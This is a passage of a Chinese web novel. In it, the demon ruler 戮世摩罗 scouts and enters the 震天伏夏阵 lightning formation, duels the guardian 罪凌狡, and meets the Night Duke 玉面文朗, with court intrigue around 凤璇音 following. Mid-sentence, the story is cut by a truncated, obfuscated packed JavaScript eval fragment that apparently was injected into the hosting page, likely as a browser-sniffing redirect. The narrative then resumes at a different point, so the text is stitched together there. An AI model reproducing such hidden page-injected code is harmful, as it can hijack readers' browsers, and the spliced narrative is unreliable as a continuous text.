蜂罚钦原叹了口气,眉宇间透露出无奈,“若邪神将在的话,倒是不难破。” “这不是说了句废话?”祸雕白了他一眼,“现在你去哪找邪神将?咱们沉沦海边关就没有个会解术法的魔将吗?” “本身会术法的魔就不多,精通者更是少之又少。策君和夜国公倒是会些术法,可他们一个守在招摇关,一个身在夜郎国。”蜂罚钦原说着,语气沾染上了一丝不满,“与其凶我,不如问问你自己,跟了麒岁那么长时间,怎么没和他学点术法?” 祸雕闻言一怔,眼中闪过一丝惊讶,“你怎么知道他会术法?” 印象里麒岁很少使用术法,以至于在去凶岳疆朝之前,他都一直以为麒岁对术法一窍不通。 “他还真的会啊?”闻言,蜂罚钦原倒是惊讶了起来,“之前我随夜国公拜访胜弦主,胜弦主推断麒岁会术法,我还暗自疑惑,原来他真的会。” “应龙师的儿子怎么可能不会术法。”祸雕理所当然地回道,说完,忽又感到一阵怅然。 策君说麒岁最后是自杀的,想来……那便是四皇子最后的抗争了吧…… 他虽然是个卧底,可在凶岳疆朝这些年,麒岁对他的好也是真的,要说没感情,最后也不可能挡着戮世摩罗把麒岁放走。 只可惜,这是一个死局,恐怕策君也料到他可能会心软,所以只是让他守在羽瑞寒魄宫外,而没有堵在前往瑶山的路上…… 祸雕正出着神,蜂罚钦原又拍了拍他的肩,“对了,幽闇联盟有会术法的魔吗?让策君去借一个来呗。” 祸雕被他一拍,回过神来,没好气地道,“我对闇盟的人又不熟,胜弦主会术法吗?” “她会也不可能轻易离开闇盟啊,”蜂罚钦原无奈地回答,“胜弦主若是来了,幽闇联盟又由谁来坐镇呢?” “也是。”祸雕觉得他说的有道理,“这阵硬闯闯不过吗?” 蜂罚钦原摇了摇头,“这个阵法威力非凡,即便是妖神将也未必能单独闯过。不过,我的蜂探已经差不多回来了,我们可以回去整理一下情报,上报帝尊了。” 祸雕觉得很稀奇,“这阵如此厉害,你的蜂探竟然还能回来?” “也不多,放出去一百多只,回来了四五只。这个数在我的预料范围之内。”蜂罚钦原回道,“情报嘛,能收集一点是一点。” “嗯。”祸雕点了点头,随后展开头上的翅膀,“走吧。” 蜂罚钦原也展开了翅膀,和祸雕一起穿越浓雾,飞回了岐山关。 两只魔刚一抵达岐山关,便马不停蹄地穿过错综复杂的军营,直奔戮世摩罗的大帐。 两人进帐篷的时候,戮世摩罗正坐在案前,盯着公子开明的地图看,而网中人则静静地坐在一旁。听见两人进来的声音,两人不约而同地抬起头来。 祸雕和蜂罚钦原上前行礼,“帝尊,末将回来了。” “嗯。”戮世摩罗点了点头,“关于瑶山外围的阵法,察探到什么了吗?” 蜂罚钦原回道,“根据蜂探带回来的情报,阵法外围的影魔虽然单个实力不强,但数量众多,我们起码要留下两位魔将牵制左右两端。” “嗯。”戮世摩罗点点头,“还有呢?” “蜂探无法进入震天伏夏阵的核心,从外围来看,这个阵法的主要攻击方式是雷电,形状呈六边形,每个节点都有不同的机关,有的是风暴,有的是闪电。”蜂罚钦原语气谨慎地回答,“我推测,要破坏这个阵法,关键在于找到那个阵心。” 戮世摩罗的目光落在前方的地面上,陷入了沉默,营帐内的气氛也随之变得压抑而沉寂。 就在这沉默几乎要凝固之际,营帐的帘子忽然被掀开,众人闻声皆向那边望去,只见凤璇音慢悠悠地走了进来。 戮世摩罗直起身子,眼里闪过一丝意外,“凤璇音,你怎么出来了?” 凤璇音先是低头行了一礼,声音平静地回应,“参见帝尊。”随后径直走到案前,开口询问,“我听说祸雕和蜂罚钦原今日去瑶山勘察震天伏夏阵了?” “嗯。”戮世摩罗点点头,“你对这个阵法有了解吗?” 凤璇音略做思考,而后道,“略有了解,或许能帮上一点忙。” 祸雕转过头看她,神色里有些防备,“瑶后的阵,你会了解?” 凤璇音回道,“麒岁是术法高手,我曾从他那里探听到一些关于震天伏夏阵的情报,至于相信与否,我无权过问。” 祸雕还想再问两句,但还未等他开口,戮世摩罗便摆了摆手道,“你说吧。” 凤璇音微微低头,行了一礼,然后解释道,“震天伏夏阵内部的布局并不复杂,它在寅时力量最强,子时则最为薄弱。中心有一个阵心,外围设有六个阵卫,阵中还有一个不断变换位置的阵元。” 她边说着,边缓缓走到帐篷的左边,“要破除此阵,必须要找出这个阵元,然后将阵心和阵元同时破坏掉。” 祸雕紧接着问道,“如何找出阵元?” 凤璇音回答,“只需破坏掉六个阵卫即可。但这六个阵卫各有不同的属性,需要相对应的术法属性来破阵,我们之中可有术法高手?” “……” 营帐中陷入了一阵短暂的沉默,祸雕沉声回应,“夜国公精通术法,但他此刻远在夜郎国,处理国事,要想赶到岐山关恐怕需要一些时日。” 戮世摩罗叹了口气道,“唉,这个时候我就有点怀念邪神将了。” 网中人突然发问,“非得要用相对应属性的术法才能破阵吗?” 戮世摩罗立刻明白了他的意图,“你打算用蛮力破坏?” 网中人望向凤璇音,询问道,“这样做可行吗?” 凤璇音的回答显得有些不确定,“这我不清楚。你可以尝试一下,但据我所知,如果不使用相对应的属性来破坏阵卫,可能会非常危险。” 戮世摩罗沉默片刻,又问,“这些阵卫的特性和相对应的术法属性,你了解吗?” 凤璇音摇了摇头,“麒岁没有和我说过,但此术法的发明者为雷泽之主沉羲太鳄,想必这个阵法应该以震卦为基础。因此,我推断六个阵卫分别对应震卦的六爻。” 戮世摩罗问,“你对震卦可有了解?” 凤璇音回答道,“如果能够得知六个阵元的机关特性,我应该能推断出每个阵元对应的术法属性。” 戮世摩罗的目光再次落在前方的地图上,他沉默了片刻,最终沉声道,“好,我明白了。你们先下去准备吧。” 顿了顿,又语气严肃地道,“随时做好开战的准备。” 祸雕、蜂罚钦原和凤璇音齐声回应,“是。”随后便依次退出了帐篷。 待众人都消失在帘子后面时,戮世摩罗抬起头,正好与网中人的视线对上。 戮世摩罗开口,“看来得有人送死。” 网中人回道,“倒也未必会死。” 戮世摩罗半开玩笑地问,“你觉得让苏大夫进入阵法察探怎么样?” 网中人的回答不带一丝感情,“不合适,但他本人应该会很乐意去。” 戮世摩罗轻笑一声,目光重新回到桌上的地图上,不再说话。 网中人的声音打破了沉默,“你在犹豫什么?” 戮世摩罗否认得很快,“我没犹豫。” 网中人的语气忽然变得冷硬,“就凭你的犹豫,吾就能在这里将你斩杀。” 戮世摩罗的笑容消失了,他的神色变得严肃,“妖神将,是你鲁莽了。如果你一开始就受伤,那我后续要依靠谁来破坏阵卫?除了你,没有人有足够的实力不依靠术法就能破坏阵卫。” 网中人分析道,“曼邪音、祸雕和蜂罚钦原都可能被困在阵中,至于赤甯朱厌,去了也没什么太大作用。” “……” 戮世摩罗沉默许久后,缓缓开口,语气果断而坚决: “我亲自去。” 网中人一愣,大概是戮世摩罗的回答太过意外,他片刻后才找回声音: “你是帝尊。” 戮世摩罗站起身来,语气听起来丝毫不在意即将到来的危险,“没关系,我有魔之甲护身,而且我可以使用赤甯朱厌的回身咒,即使受伤,也不会对后续的战力造成太大影响。” 网中人几乎是在质问,“你又要以身犯险?” 戮世摩罗笑了一声,“这不是我的爱好吗。” “……”网中人又没接上话,停顿片刻,冷声道,“你出发之前,把鬼玺留下。” 戮世摩罗仍旧是笑着,“那我可一定要活着回来。”他扬着声音说道,一边说着一边起身,抬起步子准备离开: “震天伏夏阵在子时力量最弱,明日子时,我准时出发。” —— 子时降至。 沉沦海边,戮世摩罗站在凛冽海风之中,凝视远方的瑶山。网中人、赤甯朱厌和苏容焉分别站在他的两侧。网中人一直沉着脸,而苏容焉则是一脸忧虑,嘴里叽叽喳喳地说个不停: “帝尊,真的不需要我替您去吗?”苏容焉将手按在心脏处,满脸的诚恳与急切,“我思前想后,还是觉得末医更适合去涉险啊!” 戮世摩罗回头看了他一眼,眼中闪过一丝戏谑,“你?我怕再给你九条命都不够你用的。” “不会的帝尊!”苏容焉强调,“末医肯定会保护好自己的!” “那我还是更相信我自己一点,”戮世摩罗不留情面地说道,“好了,少说两句,保存体力。你们三个一起守在这里,一旦有异动,妖神将立刻前来支援我,赤甯朱厌,你根据蛛丝的指引使用回身咒。” “属下明白。”赤甯朱厌低头道。 戮世摩罗又转头看向网中人,嘴角勾起一抹微笑,“妖神将啊,帮我清点小怪吧,我怕我对付影魔的时候受了伤,进了那阵就出不来了。” 网中人没好气地反问,“你还会怕自己出不来?” “当然怕啊。”戮世摩罗笑着打趣,“我要是出不来,你们不就没有帝尊了么。” 网中人冷哼一声,身形一转,轻功提纵,踏上了海面上的轻舟。 戮世摩罗也从容不迫地踏上轻舟,轻声说了句,“走吧。” 轻舟缓缓驶出,穿过层层血色的浓雾,蓝月幽冷的光芒下,逐渐接近了瑶山附近的暗礁。 随着距离瑶山的接近,袭击两人的影魔也越来越多,网中人站在船上,掌心飞出蛛丝,将一只只影魔打落。黑色的影魔在空中翻滚,如同夜色中的恶鬼,落入海中后,瞬间化为血色的泡沫,消失无踪。 “凤璇音说震天伏夏阵要从东方进入,果然不假,东边的影魔是最密集的。”戮世摩罗一边观察前方一边说道,“妖神将,真是多亏了你,这么多影魔,我一个人还真不好对付。” 网中人的脸色依旧阴沉,对于戮世摩罗的赞扬似乎并不领情,甚至懒得回应。 船只在一波又一波的影魔包围中缓缓驶向震天伏夏阵的入口,那里有一个如同云外镜一般的蓝色光门,光芒之中电闪雷鸣,仿佛在警告每一个胆敢靠近的生灵,踏入此阵,便是有去无回。 船在阵口停了下来。 戮世摩罗手放到了逆神的刀柄上,看向那充斥着危险气息的光门: “妖神将,我先去一步了。” 话音刚落,戮世摩罗便准备提气跃入那蓝色的光门。但他的脚步还未抬起,网中人突然拽住了他的胳膊。 戮世摩罗一怔,转过头去看他,同时嘴里冒出一句半开玩笑的话,“怎么了妖神将,你是舍不得本帝尊噢?” 网中人冷着声音道,“我是想提醒你,别把鬼玺丢在里面。” 戮世摩罗扬了扬眉,故意试探着问他,“你脑子里就只有鬼玺?” 网中人不假思索地反问,“不然呢?” 戮世摩罗故作委屈地道,“都没有我这个帝尊?” 网中人丝毫不留情面地回道,“有鬼玺,你才是帝尊。” “唉,好吧好吧。”大概也意识到网中人不好逗,戮世摩罗挥了挥手,一副拿你没办法了的样子,“放心吧妖神将,我既然敢进去,就能保证一定能活着出来,你看我像是那种活够了的人吗。” 网中人道,“一直都很像。” 戮世摩罗轻笑一声,留下一句“等我”,便轻功一踏,跃入了那蓝色的光门。 网中人目送他的身影消失在光门后面,许久之后,才缓缓在船上坐下,闭目打起了坐。 他闭着眼,也不知道这样坐了多长时间,忽然听到身后一阵细微的声响。网中人听到声音,迅速睁开眼睛,猛地回头,却见祸雕的身影在夜空中迅速放大,朝着他急速飞来。 网中人见是祸雕,有些意外地问,“祸雕,你怎么在这儿?” 祸雕的翅膀在空中划过一道弧线,落在网中人的面前,“夜国公回来了。” “夜国公?”网中人重复,仿佛是回忆了一下夜国公是谁,“他不是在夜郎国处理事情吗?” “或许是提前处理完了,你们出发不久,夜国公就回来了,”祸雕回答道,“夜国公现在就在岐山关内,我来此,正是为了和妖神将说明此事。” 网中人的目光重新落回那蓝色的光门,沉默了片刻,才缓缓开口,“我知道了,你回去吧。” 祸雕却没有立刻离开,他的眼睛盯着蓝色的光门,似乎在思考着什么。许久,他才下定决心,带着一丝犹豫向网中人问道,“妖神将,你觉得火凤郡主的话可信吗?” 网中人没有回答他的问题,而是反过来对他道,“你既然这样问,就说明你不相信她。” 祸雕叹了口气,“是,”他承认道,“我确实对她抱有怀疑,她是应龙师的孩子,凶岳疆朝的郡主,纵使她和应龙师、瑶后有仇,我也不信她会全心全意地帮助修罗国度。” 网中人道,“不需要全心全意,一半就足够。” 祸雕摇了摇头,“唉……妖神将,我不是那个意思……我只是在想,火凤郡主说,她需要六个阵元的机关特性,才能够推断出每个阵元对应的术法属性。这阵凶险异常,会不会是郡主故意引我们提前入阵查探军情,以此削弱我们的战力?” 顿了顿,又充满忧虑地道,“而且帝尊竟然亲自入阵……我真的很担心……” 网中人语气平静地道,“帝尊不是无智之人,你能怀疑到的,想必他也想到过。至于是看出对方没有恶意,还是故意将计就计,吾想,还是听他的指令吧。” 祸雕又问,“妖神将不担心帝尊吗?” 网中人没有回答,只是静静地凝视着那道蓝色的光门。 祸雕见网中人沉默,便笑了一声,“是我多言了,妖神将若是不担心,又怎会一直守在阵口。” 说罢,他张开头顶的一对翅膀,“那我先返回岐山关了,妖神将若有什么需要协助的,随时通知我们就好。” “嗯。”网中人简单地应了一声,点了点头,“回去吧。” 祸雕转身朝岐山关的方向飞去,很快便消失在了漫漫血雾之中。 —— 一片交织着白色闪电的蓝色混沌,构成一个巨大的封闭环境。电闪雷鸣的声音随着亮如白昼的闪电,气势汹汹地撕扯着戮世摩罗的耳膜,如同一只潜伏在暗处的怪兽,随时准备跃出,将闯入此阵的人生吞活剥。 戮世摩罗将手放在刀柄上,静静地观察着这个密闭的空间。 他似乎是悬浮在半空中的,可是脚下却有踏在地面的实感。整个天地被一片混沌的深蓝所笼罩,白色的闪电如蛇,不时从四面八方蹿出,或是从头顶掠过,或是从脚底升起。闪电划破长空之时,整个阵法亮如白昼,而闪电消失后,又瞬间陷入黑暗,如同深渊之底。 这方混沌的空间看起来并不大,一眼望去,六个阵卫呈六边形散布在六个方向,每个阵卫都是一个散发着幽幽青光的光球。阵中央,一个白色的光球静静地悬浮,不时发出“滋啦滋啦”的声响,仿佛在发出危险的警告,让人不寒而栗。 戮世摩罗定了定神,小心翼翼地朝离他最近的一个阵卫走了过去。 这阵卫看似近在咫尺,但戮世摩罗却走了好长一段时间,才稍微缩短了与阵卫的距离。他推断这阵中应该有障眼法,每个阵卫之间实际的距离应当是非常远的。 戮世摩罗一路往前,这期间,未见阵心对他发起任何攻击。他一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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根据修罗国度的情报,以及与瑶后接触过的魔的描述,瑶后应当是个心思缜密,步步为营的人。但她在羽瑞寒魄宫设下的阵法竟然能让人族随意进出,想来这应当不是她的疏忽,也不太可能是她故意为之,因为这样做她得不到什么好处。 那么,就剩下一个可能。 这是她的弱点,而且是一个她觉得不能被别人知道,且也不太容易被别人知道的弱点。 ——瑶后布下的术法,只对魔族有用。 正是因为有了这样的猜测,戮世摩罗才敢大胆孤身进入震天伏夏阵中,反正即使猜错了,他也可以在接触第一个阵卫时就利用魔之甲和回身咒脱身。 如今他证实了自己的猜测,倒是一个意外收获。 戮世摩罗收起逆神,大步朝第二个阵卫走去。 他一边在混沌之中谨慎前行,一边仔细辨认着方向,从东方向上方前进,第二个阵卫位于东北方,那应当是六二阵卫。 戮世摩罗走了好长一段路,才走到六二阵卫前,这次他故技重施,再次拔出逆神,一刀砍了上去。 六二阵卫在受到攻击的瞬间,一股至阴的寒气伴随着暴风雪猛烈袭来,戮世摩罗急忙后退,逆神刀光一闪,将那冰封之力击退。 “六二阵卫的属性是冰。”戮世摩罗收回逆神,心中默默记下。 随后他将剩下的冰封之力击退,而后转身,匆匆朝第三个阵卫走去。 “接下来这个,是西北方向的九四阵卫。” 抵达九四阵卫,戮世摩罗挥刀试探,击向阵卫的瞬间,巨大的岩石如同暴雨般滚落,地面震动,几乎将戮世摩罗晃倒。他急忙将逆神刀插入地面,才勉强稳住身形。 岩崩过后,戮世摩罗抬头望向下一个阵卫的方向。 “这个阵卫是岩崩之力……接下来,是西方的上六阵卫。” 戮世摩罗一路走到西方的阵卫,再次挥刀试探,刀锋触及光球的瞬间,刺耳的音波从阵心方向和阵卫两个方向传来,声声震耳欲聋。 “这个声音对魔族来说杀伤力应该极大。”戮世摩罗喃喃自语,“震波之力,这个阵卫应该交给曼邪音。” 说完,他又朝西南方的六五阵卫奔去。 当戮世摩罗将刀砍向六五阵卫的光球时,四周忽然弥漫起一阵浓厚的白雾,他全神贯注,屏息凝视,过了片刻,那些雾气便渐渐退散。 戮世摩罗略感莫名其妙,沉思了一会儿,恍然大悟,这个阵卫的属性应该是幻术。 “有没有哪个魔不受幻术影响?”戮世摩罗在脑海中回想了一遍,“赤甯朱厌?他头脑简单,应该不太受幻术影响。” 说罢,他朝最后一个阵卫奔去——东南方的六三阵卫。 最后一个阵卫的属性是风,突如其来的狂风几乎将戮世摩罗卷入阵心,幸亏他反应迅速,匆忙将逆神刀支撑在地,才勉强稳住身形。 “这个地方需要一个体重沉重的魔。”戮世摩罗分析道,“祸雕?”他自问自答道,“想想也只有他合适了。” 六个阵卫的属性全部查验完毕,戮世摩罗拍拍身上的灰尘,准备从东方的出口出去了。 然而,就在他准备朝初九阵卫走去之时,身后忽然涌来一股强烈的杀气,直刺他的后背! 戮世摩罗感受到杀气,猛地回头,刚一转身,就看见一名棕色卷发,头生牛角的魔将,举着一把长矛,气势汹汹地朝他刺了过来! “嗯?这阵中还有魔?” 戮世摩罗一边讶异地叹道,一边挥出逆神,一个刀气飞出去,挡住了对面牛角魔将的攻击。 “出现在震天伏夏阵中,我猜你是……” 戮世摩罗后退一步,逆神寒光闪烁,邪气四溢: “罪凌狡?” 牛角魔将未答话,算是默认。他见自己的魔气被戮世摩罗击退,便毫不迟疑地继续举起长矛,再次朝着戮世摩罗猛刺而来! “看来瑶后的术法确实对人族无效,所以才派你守在这阵中。”戮世摩罗一边用逆神刀抵挡罪凌狡的攻击,一边冷笑道,“只是瑶后独派你一魔前来?你面对的可是修罗国度的帝尊啊,这也太不把本帝尊放在眼里了吧?” “哼!”罪凌狡长矛一横,攻击的速度愈发快捷,力度也更加凶猛,“区区人族,罪凌狡足以应付!” “区区人族?”戮世摩罗眼中闪过一丝讥讽,“你口中的小小人族,正是瑶后最大的弱点!” 戮世摩罗说罢,挥刀朝罪凌狡砍来,手中逆神翻转如流云,破空之声流窜,像是要将空气撕裂。罪凌狡眼带轻蔑之意,长矛犹如巨蟒,灵活狠辣,招招逼命! 两人缠斗许久,刀光矛影在电闪雷鸣之中惊心动魄,迅猛凌厉。戮世摩罗不想与他纠缠,便一边暗中辨认着方向,一边与之交手,不着痕迹地朝东方退去。 出口有魔气,他感应到,想来应该是网中人在那里接应。 就在戮世摩罗马上要靠近初九阵卫之时,罪凌狡忽然一个上挑,至使戮世摩罗脚下一顿。罪凌狡眼中寒光一闪,瞬间抓住了这个机会,长矛如电光般刺向戮世摩罗的心口! 戮世摩罗神色未变,似是早已料到此境遇,逆神旋转,不慌不忙地试图挡住这致命一击。 就在千钧一发之际,一道身影忽然从东方阵口出现,如风般从戮世摩罗身旁掠过! 只见那身影手持一把白羽折扇,羽扇狠狠一挥,一股无形的力量瞬间将长矛的轨迹打偏,同时魔气四溢,猛地将罪凌狡震开了! 戮世摩罗最后这一松懈,是因为他感受到身后有魔气传来,本以为是网中人在此处,刚想开口喊妖神将,结果话到了嘴边,又硬生生地咽了下去。 来者不是妖神将。 ——那魔一身银甲,头戴银冠,眉心一道红色的血痕,像是额头上生了第三只眼睛。此魔将看起来与那些奇形怪状的魔族不同,面如冠玉,丰神俊朗,约莫人族三十出头的年纪,看起来不像魔,倒像个人族的将军。 “嗯?生面孔?” 戮世摩罗未曾见过此魔,但这位魔将忽然出现救他,料想应是友非敌,于是开口问道,“修罗国度的?” 那魔将正欲回答,罪凌狡却再次举起长矛刺了上来。 戮世摩罗见有人相助,索性将逆神刀一收,准备坐观好戏。 果不其然,那突然出现的魔将一步上前,挡在戮世摩罗身前,羽扇一挥,一道阵法的光芒闪现,再次将罪凌狡震退了。 见罪凌狡一时难以再次发起攻击,那魔将才转过身来,露出一双杀意还未褪去的银色眼睛: “夜国公玉面文朗,见过帝尊。” —未完待续— 30.复仇(5) 【30】 ?? 戮世摩罗和玉面文朗一起走出震天伏夏阵时,看见网中人静静地站在阵外的船上,便看见网中人默然站在阵外的孤舟之上。他面色阴沉如水,也不知道在想些什么,月光将露出的半张脸映衬得尤为苍白,没有一丝血色。 戮世摩罗不紧不慢地踱步向前,一步跨到网中人身前,半开玩笑地道,“妖神将啊,我还以为进去救我的人会是你。” 网中人沉默不语,脸色仿佛冰冷的石雕。倒是玉面文朗开口,语气平静地解释道,“妖神将开始是想要进去的,我拦住他了。毕竟是术法阵,我进去更有用一些。” 戮世摩罗“嗯”了一声,又问网中人,“你受伤了?” 网中人反问,“吾又没进去,受什么伤?” 戮世摩罗伸出手指,指向网中人的脸,“脸色比纸还白,我还以为你失血过多。” 网中人“哼”了一声,没好气地道,“多嘴多舌。” 戮世摩罗轻轻摇头,目光一转,投向一旁的玉面文朗:“我本该在刚到魔世之际就去拜访夜国公,但那时沉沦海的局势复杂,夜郎国又地处偏远,实在是难以抽身,还望夜国公海涵。” “无妨。”玉面文朗语气平静,“我并不是很在乎礼数。”稍作停顿,又继续道,“我听祸雕说,帝尊孤身一人前往震天伏夏阵中试探,帝尊年纪虽轻,但确实有勇有谋。” 戮世摩罗盯着玉面文朗,似有些稀奇地道,“夜国公对人族竟然没有偏见。” 玉面文朗回道,“帝尊见笑了,我有一半人族血统。” “哦?”戮世摩罗意外地挑了挑眉,这是他在魔世中首次遇见除自己以外的半人族血统,有些许亲切,但又夹杂着几丝莫名的排斥感。 讶异之余,戮世摩罗又反应过来,对玉面文朗道,“既然如此,那瑶后的法术对你的威力应该也会减弱。” “为何?”玉面文朗有些奇怪地问。 “这个,我们回去再说。”戮世摩罗摆了摆手,走到网中人的身旁,“先回岐山关再议吧。” “嗯,帝尊请。”玉面文朗点了点头,不再询问了。 两魔一人一路回到岐山关,刚一下船,戮世摩罗就直奔文书阁。到了书房,拿了纸笔将阵中所查探到的信息写下来,抬手交给了祸雕,“给凤璇音送过去吧。”他嘱咐道,“尽快。” 祸雕动作迟疑地接过文书,面色上还写着些犹豫,但见戮世摩罗并无疑虑,便也不再多言,拿着信件转身离开了。 祸雕的身影消失在门外后,戮世摩罗转过头,目光落在静立一旁的玉面文朗身上,“听说夜国公擅长术法,我已将信息送至火凤郡主,她对此阵略有了解,待她给出破阵之法后,我还需要夜国公相助。” 玉面文朗不卑不亢地答道,“帝尊客气了,夜国公随时效劳。” “嗯。”戮世摩罗点点头,“大家先回去各司其职吧,妖神将留下,我有话要说。” “是。”众魔应声后,纷纷散去,除了网中人,其余的魔都离开了。 昏暗的烛火中,屋里只剩下戮世摩罗和网中人的身影。 寂静片刻之后,戮世摩罗开口语气询问,“你和这个夜国公熟吗?” 网中人沉思片刻,似乎在努力从记忆深处挖掘信息,“吾对他没什么印象,”他缓声说道,“只记得是帝鬼颇为信任的魔将,其他的记忆,早已模糊不清。” 这样的回答并未出乎戮世摩罗的意料,毕竟能让网中人记住的魔一个手指头都能数过来,“谁对他熟悉?”戮世摩罗问,“闼婆尊?” 网中人不确定地道,“或许。” “好吧。”戮世摩罗转头唤来了一名魔兵,吩咐他去通知曼邪音前来。 不一会儿,曼邪音的身影出现在门口,她的步伐急促,显然是匆匆赶来,“帝尊找我有事?” “没什么大事。”戮世摩罗回道,“我对夜国公不是很了解,所以找你来问问,这个夜国公是什么来头。” 曼邪音的目光落在地面上,似乎在整理思绪,过了片刻,才缓缓开口: “夜国公本是应龙师的手下,帮应龙师打下了夜郎国的领地。后来帝鬼独立,他跟随了帝鬼。初期帮着帝鬼打了几场胜仗,后期基本都在后方守城,所以妖神将对他没什么印象,倒也正常。” “他说他半人半魔?”戮世摩罗问道。 “嗯。”曼邪音点点头,“他母亲是西王母族的公主,父亲是个不慎落入魔世的人族。” “西王母族?”戮世摩罗目光一闪,捕捉到了关键信息,“那不就是瑶后的同族?” “没错。”曼邪音再次点头,“夜国公的母亲豹涟与瑶后豹青是同胞姐妹,原本应该是豹涟嫁给应龙师,但她与人族私奔,最终导致豹青嫁给了应龙师。” 戮世摩罗梳理了一下这中间的关系,“这么说夜国公还是瑶后的外甥?”他问道,“瑶后认他这个外甥吗?干脆让夜国公去找他这位姨母商量一下,早日认输,也免去我攻打瑶山的麻烦。” “恐怕不太行。”曼邪音很认真地回应了戮世摩罗的玩笑,“瑶后是因为豹涟任性出走的缘故嫁给应龙师,恐怕对夜国公不会有什么好态度。” “豹涟和那个人族最后怎样了?”戮世摩罗询问。 “都被应龙师处死了。”曼邪音回道。 “处死了?”重复了一遍,语气中透露出惊讶,随后他感慨道,“怪不得夜国公会投奔帝鬼,但你刚才不是说,夜国公之前是应龙师麾下的战将?是应龙师向他隐瞒了此事吗?” “想来应该是如此。”曼邪音回道,“夜国公年幼不知父母真正的死因,年长后知道真相,就投奔帝鬼了。” “好,我清楚了。”戮世摩罗点了点头,“没什么事了,曼邪音,你先回去吧。” “是。”曼邪音低头行了一礼,随即掀开营帐的帘幕,身影逐渐消失在帐外。 戮世摩罗估算着曼邪音已经走远,便缓缓地从椅子上站起身,大步朝营帐外走去。 网中人走在戮世摩罗身旁,两人一同穿过了昏暗的营地,来到了城墙之上。 两人站在高耸的城墙上,戮世摩罗目光远眺,只见远处影魔在夜空中窜来窜去,血色的雾气如同魔爪般紧紧缠绕着瑶山。戮世摩罗盯着夜空中的那些黑色的影子,询问身边的网中人:“魑鬼有能力对付这些影魔吗?” 网中人非常简短地答,“可以。” “好,那就派魑鬼去牵制影魔吧。”戮世摩罗点点头,“六个阵卫,还有一个阵心和一个阵元。我担心人手不够用。” 网中人直勾勾地盯着前方,没有应声。 戮世摩罗见他不说话,便问,“还是不想让我攻打瑶山?” 网中人声音略显烦躁,“要打就打,哪来那么多废话。” “你怎么这么凶,我又没惹你。”戮世摩罗故作委屈地抱怨,随即又恢复了平静的语气,“话说,你不觉得瑶后很奇怪吗?” 网中人问,“哪里奇怪?” 戮世摩罗道,“瑶后关了凤璇音母女三人这么多年,为何一直没有将玄姜和苍鸾郡主杀死?” 网中人回答,“她是为了用玄姜和苍鸾郡主威胁凤璇音。” “嗯。”戮世摩罗点点头,“确实。想来也正是因为如此,凤璇音才会如此着急地求我救出她母亲和姐姐。因为一旦她离开了羽瑞寒魄宫,她的母亲和姐姐也就没有活着的价值了。” 网中人反应了一下,忽然明白了戮世摩罗这番话的用意,“你是想向我解释,为什么这么急着攻打瑶山?” 戮世摩罗捋了一下头发,“是为了向妖神将说明我是一个多么善良的帝尊。” 网中人语带讥讽地道,“佛国人最善良。” “哎呀,被你说中了妖神将,本帝尊也是出过家的。”戮世摩罗夸张地拍了拍自己的心口,随后又道,“对了,我还听说震天伏夏阵是沉羲太鳄最厉害的大阵之一,你以前和他交过手吗?” 网中人的语气略显迟疑,“交过几次,但吾已记不太清了。” “听说沉羲太鳄从前也是凶岳疆朝的战神,”戮世摩罗一幅看热闹不嫌事大的样子,“正好你帮我破一下这个大阵,看看是我修罗国度的战神厉害,还是他凶岳疆朝的战神厉害。” 网中人没接他这茬,只是问道,“救出玄姜和苍鸾郡主有什么用吗?” 戮世摩罗语气轻快地回道,“没什么用,只是夜国公的事,让我更加确定要攻打瑶山了。” 网中人问,“为了杀瑶后?” 戮世摩罗笑了笑,背着手往城墙的另一边走去了:“我要是去打浮玉关,他可能还不会这么快从夜郎国赶回。目前打瑶山虽然不是最好的选择,却是助力最多的选择,一箭双雕的事情,何乐而不为呢。” —— ?? 凤璇音从祸雕手中接过卷轴时,往后扯了一下,没有扯动。 她的手指紧了紧,眉头微微皱起,抬起眼帘看向对面的魔将,“祸雕,你是给我,还是不给我?” 祸雕一双眼睛幽幽地盯着凤璇音,像是在审视着什么,“帝尊要我把卷轴交给郡主,我自然是要给的,但在这之前,我有些话要说。” 祸雕说出这话时,屋内忽然弥漫上了一股阴冷的气息。身后的文鳐大概是感受到了这股寒意,不由自主地往后退了一步,似乎在躲避着那似有似无的杀气。 凤璇音面色平静,似是没有感觉到祸雕隐隐的敌意,“什么事情?你说。” 祸雕双眸寒意闪烁,带着威胁的语气开口道,“帝尊帮郡主杀瑶后,是因为我们帝尊信守承诺,出于情义才帮了郡主。事实上按照我们修罗国度的风格,可能在麒岁死的那一天,郡主也就一起死了。我不指望郡主能真心帮帝尊,但也不要暗中算计帝尊,否则祸雕会第一个出手杀死郡主。” 凤璇音笑了一声,立刻明白了祸雕的意思,“你怀疑我骗你们入阵察探,好削弱你们的战力?” 祸雕阴沉着脸道,“我完全有理由怀疑。” “当然。”凤璇音从容不迫地回应,“你比他们认识我都早,知道我是什么样的人,自然会对我防备。但我凤璇音爱憎分明,算计麒岁麒染是因为他们是应龙师和瑶后的孩子,至于帝尊,我就算不帮他,也不会害他。” “但愿你说的是真的。”祸雕一边说着,一边松了手,凤璇音本拿着卷轴,此时忽然失了力,往后倒退了几步,被文鳐扶住了。 “你因为我算计了麒岁,所以恨我?”凤璇音试探地问他。 祸雕冷声否认,“没有,我的主人是夜国公,这一点我分得清楚。更何况真正杀死麒岁的人另有其人,也算不到你头上。” “同样的话送你,但愿你说的是真的。”凤璇音保持着笑意,不紧不慢地说道。 祸雕冷哼一声,转身就要离开。结果刚一走到门口,凤璇音忽然又道,“其实诛杀瑶后,是夜国公也想做的事情吧。” 祸雕脚步一顿,身子停在了门口。 凤璇音压着声音道,“当年应龙师杀夜国公的父母,豹青也应该有参与其中。”说完,又故作叹息地道,“连自己的亲姐姐都能害,这样的恶人,自是人人得而诛之。” 祸雕沉默少顷,冷冷地道,“夜国公自有分寸,用不着郡主操心。”说罢,大步离开了。 待祸雕的身影完全消失后,文鳐上前把门关上,而后转身看向凤璇音,“郡主,屋里好冷,我去给你拿个手炉来。” 凤璇音看了她一眼,拿着卷轴走到书桌旁,“不用,我用不着手炉。”说罢,将手中的卷轴展开,低头看向上面的信息。 文鳐站在门口,见凤璇音认真阅读卷轴,便也不再出声,安安静静地站着,等候吩咐。 过了好一会儿,凤璇音头也不抬地道,“文鳐,拿来纸笔,我说你记。” 